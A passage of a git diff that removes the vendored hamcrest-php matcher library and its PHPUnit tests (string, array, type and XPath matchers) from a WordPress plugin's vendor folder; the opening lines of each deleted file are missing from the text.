b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php deleted file mode 100644 index 872fdf9c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php +++ /dev/null @@ -1,23 +0,0 @@ -_out = (string) $out; - } - - public function __toString() - { - return $this->_out; - } - - /** - * Return the description of a {@link Hamcrest\SelfDescribing} object as a - * String. - * - * @param \Hamcrest\SelfDescribing $selfDescribing - * The object to be described. - * - * @return string - * The description of the object. - */ - public static function toString(SelfDescribing $selfDescribing) - { - $self = new self(); - - return (string) $self->appendDescriptionOf($selfDescribing); - } - - /** - * Alias for {@link toString()}. - */ - public static function asString(SelfDescribing $selfDescribing) - { - return self::toString($selfDescribing); - } - - // -- Protected Methods - - protected function append($str) - { - $this->_out .= $str; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php deleted file mode 100644 index 2ae61b96..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php +++ /dev/null @@ -1,85 +0,0 @@ -_empty = $empty; - } - - public function matches($item) - { - return $this->_empty - ? ($item === '') - : is_string($item) && $item !== ''; - } - - public function describeTo(Description $description) - { - $description->appendText($this->_empty ? 'an empty string' : 'a non-empty string'); - } - - /** - * Matches if value is a zero-length string. - * - * @factory emptyString - */ - public static function isEmptyString() - { - if (!self::$_INSTANCE) { - self::$_INSTANCE = new self(true); - } - - return self::$_INSTANCE; - } - - /** - * Matches if value is null or a zero-length string. - * - * @factory nullOrEmptyString - */ - public static function isEmptyOrNullString() - { - if (!self::$_NULL_OR_EMPTY_INSTANCE) { - self::$_NULL_OR_EMPTY_INSTANCE = AnyOf::anyOf( - IsNull::nullvalue(), - self::isEmptyString() - ); - } - - return self::$_NULL_OR_EMPTY_INSTANCE; - } - - /** - * Matches if value is a non-zero-length string. - * - * @factory nonEmptyString - */ - public static function isNonEmptyString() - { - if (!self::$_NOT_INSTANCE) { - self::$_NOT_INSTANCE = new self(false); - } - - return self::$_NOT_INSTANCE; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php deleted file mode 100644 index 3836a8c3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php +++ /dev/null @@ -1,52 +0,0 @@ -_string = $string; - } - - protected function matchesSafely($item) - { - return strtolower($this->_string) === strtolower($item); - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription->appendText('was ')->appendText($item); - } - - public function describeTo(Description $description) - { - $description->appendText('equalToIgnoringCase(') - ->appendValue($this->_string) - ->appendText(')') - ; - } - - /** - * Matches if value is a string equal to $string, regardless of the case. - * - * @factory - */ - public static function equalToIgnoringCase($string) - { - return new self($string); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php deleted file mode 100644 index 853692b0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php +++ /dev/null @@ -1,66 +0,0 @@ -_string = $string; - } - - protected function matchesSafely($item) - { - return (strtolower($this->_stripSpace($item)) - === strtolower($this->_stripSpace($this->_string))); - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription->appendText('was ')->appendText($item); - } - - public function describeTo(Description $description) - { - $description->appendText('equalToIgnoringWhiteSpace(') - ->appendValue($this->_string) - ->appendText(')') - ; - } - - /** - * Matches if value is a string equal to $string, regardless of whitespace. - * - * @factory - */ - public static function equalToIgnoringWhiteSpace($string) - { - return new self($string); - } - - // -- Private Methods - - private function _stripSpace($string) - { - $parts = preg_split("/[\r\n\t ]+/", $string); - foreach ($parts as $i => $part) { - $parts[$i] = trim($part, " \r\n\t"); - } - - return trim(implode(' ', $parts), " \r\n\t"); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php deleted file mode 100644 index fa0d68ee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php +++ /dev/null @@ -1,40 +0,0 @@ -_substring, (string) $item) >= 1; - } - - protected function relationship() - { - return 'matching'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php deleted file mode 100644 index b92786b6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php +++ /dev/null @@ -1,45 +0,0 @@ -_substring); - } - - /** - * Matches if value is a string that contains $substring. - * - * @factory - */ - public static function containsString($substring) - { - return new self($substring); - } - - // -- Protected Methods - - protected function evalSubstringOf($item) - { - return (false !== strpos((string) $item, $this->_substring)); - } - - protected function relationship() - { - return 'containing'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php deleted file mode 100644 index 69f37c25..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php +++ /dev/null @@ -1,40 +0,0 @@ -_substring)); - } - - protected function relationship() - { - return 'containing in any case'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php deleted file mode 100644 index e75de65d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php +++ /dev/null @@ -1,66 +0,0 @@ -_substrings = $substrings; - } - - protected function matchesSafely($item) - { - $fromIndex = 0; - - foreach ($this->_substrings as $substring) { - if (false === $fromIndex = strpos($item, $substring, $fromIndex)) { - return false; - } - } - - return true; - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription->appendText('was ')->appendText($item); - } - - public function describeTo(Description $description) - { - $description->appendText('a string containing ') - ->appendValueList('', ', ', '', $this->_substrings) - ->appendText(' in order') - ; - } - - /** - * Matches if value contains $substrings in a constrained order. - * - * @factory ... - */ - public static function stringContainsInOrder(/* args... */) - { - $args = func_get_args(); - - if (isset($args[0]) && is_array($args[0])) { - $args = $args[0]; - } - - return new self($args); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php deleted file mode 100644 index f802ee4d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php +++ /dev/null @@ -1,40 +0,0 @@ -_substring))) === $this->_substring); - } - - protected function relationship() - { - return 'ending with'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php deleted file mode 100644 index 79c95656..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php +++ /dev/null @@ -1,40 +0,0 @@ -_substring)) === $this->_substring); - } - - protected function relationship() - { - return 'starting with'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php deleted file mode 100644 index e560ad62..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php +++ /dev/null @@ -1,45 +0,0 @@ -_substring = $substring; - } - - protected function matchesSafely($item) - { - return $this->evalSubstringOf($item); - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription->appendText('was "')->appendText($item)->appendText('"'); - } - - public function describeTo(Description $description) - { - $description->appendText('a string ') - ->appendText($this->relationship()) - ->appendText(' ') - ->appendValue($this->_substring) - ; - } - - abstract protected function evalSubstringOf($string); - - abstract protected function relationship(); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php deleted file mode 100644 index 9179102f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php +++ /dev/null @@ -1,32 +0,0 @@ -isHexadecimal($item)) { - return true; - } - - return is_numeric($item); - } - - /** - * Return if the string passed is a valid hexadecimal number. - * This check is necessary because PHP 7 doesn't recognize hexadecimal string as numeric anymore. - * - * @param mixed $item - * @return boolean - */ - private function isHexadecimal($item) - { - if (is_string($item) && preg_match('/^0x(.*)$/', $item, $matches)) { - return ctype_xdigit($matches[1]); - } - - return false; - } - - /** - * Is the value a numeric? - * - * @factory - */ - public static function numericValue() - { - return new self; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php deleted file mode 100644 index 65918fcf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php +++ /dev/null @@ -1,32 +0,0 @@ -matchesSafelyWithDiagnosticDescription($item, new NullDescription()); - } - - final public function describeMismatchSafely($item, Description $mismatchDescription) - { - $this->matchesSafelyWithDiagnosticDescription($item, $mismatchDescription); - } - - // -- Protected Methods - - /** - * Subclasses should implement these. The item will already have been checked for - * the specific type. - */ - abstract protected function matchesSafelyWithDiagnosticDescription($item, Description $mismatchDescription); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php deleted file mode 100644 index 56e299a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php +++ /dev/null @@ -1,107 +0,0 @@ -_expectedType = $expectedType; - $this->_expectedSubtype = $expectedSubtype; - } - - final public function matches($item) - { - return $this->_isSafeType($item) && $this->matchesSafely($item); - } - - final public function describeMismatch($item, Description $mismatchDescription) - { - if (!$this->_isSafeType($item)) { - parent::describeMismatch($item, $mismatchDescription); - } else { - $this->describeMismatchSafely($item, $mismatchDescription); - } - } - - // -- Protected Methods - - /** - * The item will already have been checked for the specific type and subtype. - */ - abstract protected function matchesSafely($item); - - /** - * The item will already have been checked for the specific type and subtype. - */ - abstract protected function describeMismatchSafely($item, Description $mismatchDescription); - - // -- Private Methods - - private function _isSafeType($value) - { - switch ($this->_expectedType) { - - case self::TYPE_ANY: - return true; - - case self::TYPE_STRING: - return is_string($value) || is_numeric($value); - - case self::TYPE_NUMERIC: - return is_numeric($value) || is_string($value); - - case self::TYPE_ARRAY: - return is_array($value); - - case self::TYPE_OBJECT: - return is_object($value) - && ($this->_expectedSubtype === null - || $value instanceof $this->_expectedSubtype); - - case self::TYPE_RESOURCE: - return is_resource($value) - && ($this->_expectedSubtype === null - || get_resource_type($value) == $this->_expectedSubtype); - - case self::TYPE_BOOLEAN: - return true; - - default: - return true; - - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php deleted file mode 100644 index 169b0366..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php +++ /dev/null @@ -1,76 +0,0 @@ - all items are - */ - public static function createMatcherArray(array $items) - { - //Extract single array item - if (count($items) == 1 && is_array($items[0])) { - $items = $items[0]; - } - - //Replace non-matchers - foreach ($items as &$item) { - if (!($item instanceof Matcher)) { - $item = Core\IsEqual::equalTo($item); - } - } - - return $items; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php deleted file mode 100644 index d9764e45..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php +++ /dev/null @@ -1,195 +0,0 @@ -_xpath = $xpath; - $this->_matcher = $matcher; - } - - /** - * Matches if the XPath matches against the DOM node and the matcher. - * - * @param string|\DOMNode $actual - * @param Description $mismatchDescription - * @return bool - */ - protected function matchesWithDiagnosticDescription($actual, Description $mismatchDescription) - { - if (is_string($actual)) { - $actual = $this->createDocument($actual); - } elseif (!$actual instanceof \DOMNode) { - $mismatchDescription->appendText('was ')->appendValue($actual); - - return false; - } - $result = $this->evaluate($actual); - if ($result instanceof \DOMNodeList) { - return $this->matchesContent($result, $mismatchDescription); - } else { - return $this->matchesExpression($result, $mismatchDescription); - } - } - - /** - * Creates and returns a DOMDocument from the given - * XML or HTML string. - * - * @param string $text - * @return \DOMDocument built from $text - * @throws \InvalidArgumentException if the document is not valid - */ - protected function createDocument($text) - { - $document = new \DOMDocument(); - if (preg_match('/^\s*<\?xml/', $text)) { - if (!@$document->loadXML($text)) { - throw new \InvalidArgumentException('Must pass a valid XML document'); - } - } else { - if (!@$document->loadHTML($text)) { - throw new \InvalidArgumentException('Must pass a valid HTML or XHTML document'); - } - } - - return $document; - } - - /** - * Applies the configured XPath to the DOM node and returns either - * the result if it's an expression or the node list if it's a query. - * - * @param \DOMNode $node context from which to issue query - * @return mixed result of expression or DOMNodeList from query - */ - protected function evaluate(\DOMNode $node) - { - if ($node instanceof \DOMDocument) { - $xpathDocument = new \DOMXPath($node); - - return $xpathDocument->evaluate($this->_xpath); - } else { - $xpathDocument = new \DOMXPath($node->ownerDocument); - - return $xpathDocument->evaluate($this->_xpath, $node); - } - } - - /** - * Matches if the list of nodes is not empty and the content of at least - * one node matches the configured matcher, if supplied. - * - * @param \DOMNodeList $nodes selected by the XPath query - * @param Description $mismatchDescription - * @return bool - */ - protected function matchesContent(\DOMNodeList $nodes, Description $mismatchDescription) - { - if ($nodes->length == 0) { - $mismatchDescription->appendText('XPath returned no results'); - } elseif ($this->_matcher === null) { - return true; - } else { - foreach ($nodes as $node) { - if ($this->_matcher->matches($node->textContent)) { - return true; - } - } - $content = array(); - foreach ($nodes as $node) { - $content[] = $node->textContent; - } - $mismatchDescription->appendText('XPath returned ') - ->appendValue($content); - } - - return false; - } - - /** - * Matches if the result of the XPath expression matches the configured - * matcher or evaluates to true if there is none. - * - * @param mixed $result result of the XPath expression - * @param Description $mismatchDescription - * @return bool - */ - protected function matchesExpression($result, Description $mismatchDescription) - { - if ($this->_matcher === null) { - if ($result) { - return true; - } - $mismatchDescription->appendText('XPath expression result was ') - ->appendValue($result); - } else { - if ($this->_matcher->matches($result)) { - return true; - } - $mismatchDescription->appendText('XPath expression result '); - $this->_matcher->describeMismatch($result, $mismatchDescription); - } - - return false; - } - - public function describeTo(Description $description) - { - $description->appendText('XML or HTML document with XPath "') - ->appendText($this->_xpath) - ->appendText('"'); - if ($this->_matcher !== null) { - $description->appendText(' '); - $this->_matcher->describeTo($description); - } - } - - /** - * Wraps $matcher with {@link Hamcrest\Core\IsEqual) - * if it's not a matcher and the XPath in count() - * if it's an integer. - * - * @factory - */ - public static function hasXPath($xpath, $matcher = null) - { - if ($matcher === null || $matcher instanceof Matcher) { - return new self($xpath, $matcher); - } elseif (is_int($matcher) && strpos($xpath, 'count(') !== 0) { - $xpath = 'count(' . $xpath . ')'; - } - - return new self($xpath, IsEqual::equalTo($matcher)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/AbstractMatcherTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/AbstractMatcherTest.php deleted file mode 100644 index 8a1fb2a9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/AbstractMatcherTest.php +++ /dev/null @@ -1,68 +0,0 @@ -assertTrue($matcher->matches($arg), $message); - } - - public function assertDoesNotMatch(\Hamcrest\Matcher $matcher, $arg, $message) - { - $this->assertFalse($matcher->matches($arg), $message); - } - - public function assertDescription($expected, \Hamcrest\Matcher $matcher) - { - $description = new \Hamcrest\StringDescription(); - $description->appendDescriptionOf($matcher); - $this->assertEquals($expected, (string) $description, 'Expected description'); - } - - public function assertMismatchDescription($expected, \Hamcrest\Matcher $matcher, $arg) - { - $description = new \Hamcrest\StringDescription(); - $this->assertFalse( - $matcher->matches($arg), - 'Precondtion: Matcher should not match item' - ); - $matcher->describeMismatch($arg, $description); - $this->assertEquals( - $expected, - (string) $description, - 'Expected mismatch description' - ); - } - - public function testIsNullSafe() - { - //Should not generate any notices - $this->createMatcher()->matches(null); - $this->createMatcher()->describeMismatch( - null, - new \Hamcrest\NullDescription() - ); - } - - public function testCopesWithUnknownTypes() - { - //Should not generate any notices - $this->createMatcher()->matches(new UnknownType()); - $this->createMatcher()->describeMismatch( - new UnknownType(), - new NullDescription() - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInAnyOrderTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInAnyOrderTest.php deleted file mode 100644 index 45d9f138..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInAnyOrderTest.php +++ /dev/null @@ -1,54 +0,0 @@ -assertDescription('[<1>, <2>] in any order', containsInAnyOrder(array(1, 2))); - } - - public function testMatchesItemsInAnyOrder() - { - $this->assertMatches(containsInAnyOrder(array(1, 2, 3)), array(1, 2, 3), 'in order'); - $this->assertMatches(containsInAnyOrder(array(1, 2, 3)), array(3, 2, 1), 'out of order'); - $this->assertMatches(containsInAnyOrder(array(1)), array(1), 'single'); - } - - public function testAppliesMatchersInAnyOrder() - { - $this->assertMatches( - containsInAnyOrder(array(1, 2, 3)), - array(1, 2, 3), - 'in order' - ); - $this->assertMatches( - containsInAnyOrder(array(1, 2, 3)), - array(3, 2, 1), - 'out of order' - ); - $this->assertMatches( - containsInAnyOrder(array(1)), - array(1), - 'single' - ); - } - - public function testMismatchesItemsInAnyOrder() - { - $matcher = containsInAnyOrder(array(1, 2, 3)); - - $this->assertMismatchDescription('was null', $matcher, null); - $this->assertMismatchDescription('No item matches: <1>, <2>, <3> in []', $matcher, array()); - $this->assertMismatchDescription('No item matches: <2>, <3> in [<1>]', $matcher, array(1)); - $this->assertMismatchDescription('Not matched: <4>', $matcher, array(4, 3, 2, 1)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInOrderTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInOrderTest.php deleted file mode 100644 index a9e4e5b0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingInOrderTest.php +++ /dev/null @@ -1,48 +0,0 @@ -assertDescription('[<1>, <2>]', arrayContaining(array(1, 2))); - } - - public function testMatchesItemsInOrder() - { - $this->assertMatches(arrayContaining(array(1, 2, 3)), array(1, 2, 3), 'in order'); - $this->assertMatches(arrayContaining(array(1)), array(1), 'single'); - } - - public function testAppliesMatchersInOrder() - { - $this->assertMatches( - arrayContaining(array(1, 2, 3)), - array(1, 2, 3), - 'in order' - ); - $this->assertMatches(arrayContaining(array(1)), array(1), 'single'); - } - - public function testMismatchesItemsInAnyOrder() - { - if (defined('HHVM_VERSION')) { - $this->markTestSkipped('Broken on HHVM.'); - } - - $matcher = arrayContaining(array(1, 2, 3)); - $this->assertMismatchDescription('was null', $matcher, null); - $this->assertMismatchDescription('No item matched: <1>', $matcher, array()); - $this->assertMismatchDescription('No item matched: <2>', $matcher, array(1)); - $this->assertMismatchDescription('item with key 0: was <4>', $matcher, array(4, 3, 2, 1)); - $this->assertMismatchDescription('item with key 2: was <4>', $matcher, array(1, 2, 4)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyTest.php deleted file mode 100644 index 31770d8d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyTest.php +++ /dev/null @@ -1,62 +0,0 @@ -1); - - $this->assertMatches(hasKey('a'), $array, 'Matches single key'); - } - - public function testMatchesArrayContainingKey() - { - $array = array('a'=>1, 'b'=>2, 'c'=>3); - - $this->assertMatches(hasKey('a'), $array, 'Matches a'); - $this->assertMatches(hasKey('c'), $array, 'Matches c'); - } - - public function testMatchesArrayContainingKeyWithIntegerKeys() - { - $array = array(1=>'A', 2=>'B'); - - assertThat($array, hasKey(1)); - } - - public function testMatchesArrayContainingKeyWithNumberKeys() - { - $array = array(1=>'A', 2=>'B'); - - assertThat($array, hasKey(1)); - - // very ugly version! - assertThat($array, IsArrayContainingKey::hasKeyInArray(2)); - } - - public function testHasReadableDescription() - { - $this->assertDescription('array with key "a"', hasKey('a')); - } - - public function testDoesNotMatchEmptyArray() - { - $this->assertMismatchDescription('array was []', hasKey('Foo'), array()); - } - - public function testDoesNotMatchArrayMissingKey() - { - $array = array('a'=>1, 'b'=>2, 'c'=>3); - - $this->assertMismatchDescription('array was ["a" => <1>, "b" => <2>, "c" => <3>]', hasKey('d'), $array); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyValuePairTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyValuePairTest.php deleted file mode 100644 index a415f9f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingKeyValuePairTest.php +++ /dev/null @@ -1,36 +0,0 @@ -1, 'b'=>2); - - $this->assertMatches(hasKeyValuePair(equalTo('a'), equalTo(1)), $array, 'matcherA'); - $this->assertMatches(hasKeyValuePair(equalTo('b'), equalTo(2)), $array, 'matcherB'); - $this->assertMismatchDescription( - 'array was ["a" => <1>, "b" => <2>]', - hasKeyValuePair(equalTo('c'), equalTo(3)), - $array - ); - } - - public function testDoesNotMatchNull() - { - $this->assertMismatchDescription('was null', hasKeyValuePair(anything(), anything()), null); - } - - public function testHasReadableDescription() - { - $this->assertDescription('array containing ["a" => <2>]', hasKeyValuePair(equalTo('a'), equalTo(2))); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingTest.php deleted file mode 100644 index 8d5bd810..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayContainingTest.php +++ /dev/null @@ -1,50 +0,0 @@ -assertMatches( - hasItemInArray('a'), - array('a', 'b', 'c'), - "should matches array that contains 'a'" - ); - } - - public function testDoesNotMatchAnArrayThatDoesntContainAnElementMatchingTheGivenMatcher() - { - $this->assertDoesNotMatch( - hasItemInArray('a'), - array('b', 'c'), - "should not matches array that doesn't contain 'a'" - ); - $this->assertDoesNotMatch( - hasItemInArray('a'), - array(), - 'should not match empty array' - ); - } - - public function testDoesNotMatchNull() - { - $this->assertDoesNotMatch( - hasItemInArray('a'), - null, - 'should not match null' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('an array containing "a"', hasItemInArray('a')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayTest.php deleted file mode 100644 index e4db53e7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayTest.php +++ /dev/null @@ -1,89 +0,0 @@ -assertMatches( - anArray(array(equalTo('a'), equalTo('b'), equalTo('c'))), - array('a', 'b', 'c'), - 'should match array with matching elements' - ); - } - - public function testDoesNotMatchAnArrayWhenElementsDoNotMatch() - { - $this->assertDoesNotMatch( - anArray(array(equalTo('a'), equalTo('b'))), - array('b', 'c'), - 'should not match array with different elements' - ); - } - - public function testDoesNotMatchAnArrayOfDifferentSize() - { - $this->assertDoesNotMatch( - anArray(array(equalTo('a'), equalTo('b'))), - array('a', 'b', 'c'), - 'should not match larger array' - ); - $this->assertDoesNotMatch( - anArray(array(equalTo('a'), equalTo('b'))), - array('a'), - 'should not match smaller array' - ); - } - - public function testDoesNotMatchNull() - { - $this->assertDoesNotMatch( - anArray(array(equalTo('a'))), - null, - 'should not match null' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - '["a", "b"]', - anArray(array(equalTo('a'), equalTo('b'))) - ); - } - - public function testHasAReadableMismatchDescriptionWhenKeysDontMatch() - { - $this->assertMismatchDescription( - 'array keys were [<1>, <2>]', - anArray(array(equalTo('a'), equalTo('b'))), - array(1 => 'a', 2 => 'b') - ); - } - - public function testSupportsMatchesAssociativeArrays() - { - $this->assertMatches( - anArray(array('x'=>equalTo('a'), 'y'=>equalTo('b'), 'z'=>equalTo('c'))), - array('x'=>'a', 'y'=>'b', 'z'=>'c'), - 'should match associative array with matching elements' - ); - } - - public function testDoesNotMatchAnAssociativeArrayWhenKeysDoNotMatch() - { - $this->assertDoesNotMatch( - anArray(array('x'=>equalTo('a'), 'y'=>equalTo('b'))), - array('x'=>'b', 'z'=>'c'), - 'should not match array with different keys' - ); - } 